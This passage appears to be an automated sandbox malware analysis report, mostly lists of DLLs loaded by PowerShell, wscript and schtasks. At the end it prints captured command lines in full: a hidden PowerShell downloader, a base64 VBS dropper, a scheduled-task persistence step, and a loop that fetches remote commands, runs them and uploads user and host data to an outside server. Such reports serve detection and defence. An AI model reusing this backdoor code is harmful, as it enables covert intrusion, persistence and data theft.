Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: 748-929-24.html.lnk.4.dr	LNK file: ..\..\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source:	Binary string: *e.pdb4 source: powershell.exe, 0000000F.00000002.2880995377.00000289B459B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.2187482903.0000000008985000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.2179040393.0000000007AB3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000F.00000002.2880995377.00000289B459B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lambda_methodCore.pdbT;.C source: powershell.exe, 0000000F.00000002.2934104900.00000289CCDAB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.pdb source: powershell.exe, 0000000F.00000002.2880995377.00000289B45CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 0000000F.00000002.2934104900.00000289CCD70000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQ

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -nop -noni -exec bypass -c =new-object system.net.webclient
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;	Jump to behavior
